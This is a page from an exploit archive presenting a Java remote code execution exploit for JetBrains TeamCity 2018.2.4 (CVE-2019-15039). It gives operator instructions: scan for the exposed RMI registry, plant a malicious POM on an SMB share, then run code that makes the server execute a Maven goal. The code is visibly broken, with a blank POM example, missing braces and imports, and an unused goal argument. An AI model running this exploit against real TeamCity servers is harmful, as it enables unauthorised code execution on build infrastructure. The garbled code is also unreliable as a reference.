JetBrains TeamCity 2018.2.4 Remote Code Execution

JetBrains TeamCity version 2018.2.4 suffers from a remote code execution vulnerability.

MD5 | c9903a974e422420e2f9b9b995b33e4a

# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution
# Date: 2020-01-07
# Exploit Author: Harrison Neal
# Vendor Homepage:
# Software Link:
# Version: 2018.2.4 for Windows
# CVE: CVE-2019-15039

# You'll need a few .jars from a copy of TeamCity to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/

# Instructions for Windows (easier case):

# 1) Verify exploitability.
# 1a) Verify the remote host is running Windows, e.g. checking for common
# running services and their versions.
# 1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
# scan using nmap and the rmi-dumpregistry script. On one port, there
# should be a registry with an object named teamcity-mavenServer. This
# object should point to a second open port that is also identified as
# Java RMI.

# 2) Prepare the payload.
# 2a) There needs to be an SMB share that the TeamCity software can read from
# and that you can write to. You might establish a share on your own
# system and make it accessible to anonymous users. Alternatively, if the
# TeamCity server is domain-joined, you might find a pre-existing share
# elsewhere in the domain.
# 2b) Place a malicious POM in that share, e.g.


# 3) Run this exploit.
# Argument #1: TeamCity host (IP or FQDN)
# Argument #2: Port of RMI Registry (the first open port described above)
# Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
# Argument #4: POM goal (e.g., exec:exec)

# NOTE: It is possible to exploit this issue in other situations, e.g. if the
# TeamCity server is running on a *nix system that allows access to some local
# directory over NFS.

package com.whatdidibreak.teamcity_expl;



import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMISocketFactory;

import java.util.ArrayList;
import java.util.List;

import jetbrains.buildServer.maven.remote.MavenServer;
import jetbrains.buildServer.maven.remote.RemoteEmbedder;
import org.jetbrains.maven.embedder.MavenEmbedderSettings;
import org.jetbrains.maven.embedder.MavenExecutionResult;

public class Main {

public static void main(String[] args) throws Throwable {
String host = args[0];
int port = Integer.parseInt(args[1]);
String pomPath = args[2];
String goal = args[3];

// The exported object may point to a different host than what we're
// using to connect to the registry, which could break things, i.e.,
// - localhost
// - for a multi-homed target, an IP we can't connect to
// - a FQDN or hostname we can't resolve
// - etc.
// For this reason, we'll set up a socket factory that forces all
// connections to go to the host specified by the user, ignoring the
// host pointed to by the exported object.
OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);

// The rest of the code in this method should look fairly typical for
// interacting with remote objects using RMI.
Registry r = LocateRegistry.getRegistry(host, port, sf);

MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");

MavenEmbedderSettings mes = new MavenEmbedderSettings();
RemoteEmbedder re = ms.exportEmbedder(mes);

File f = new File(pomPath);
List ap = new ArrayList();
List g = new ArrayList();
MavenExecutionResult mer = re.execute(f, ap, g);

private static class OverrideHostSocketFactory extends RMISocketFactory {

private String targetHost;

public OverrideHostSocketFactory(String targetHost) {
this.targetHost = targetHost;

public Socket createSocket(String host, int port) throws IOException {
Socket toReturn = new Socket();
toReturn.connect(new InetSocketAddress(targetHost, port));
return toReturn;

public ServerSocket createServerSocket(int port) throws IOException {
throw new UnsupportedOperationException("Not supported yet.");

Related Posts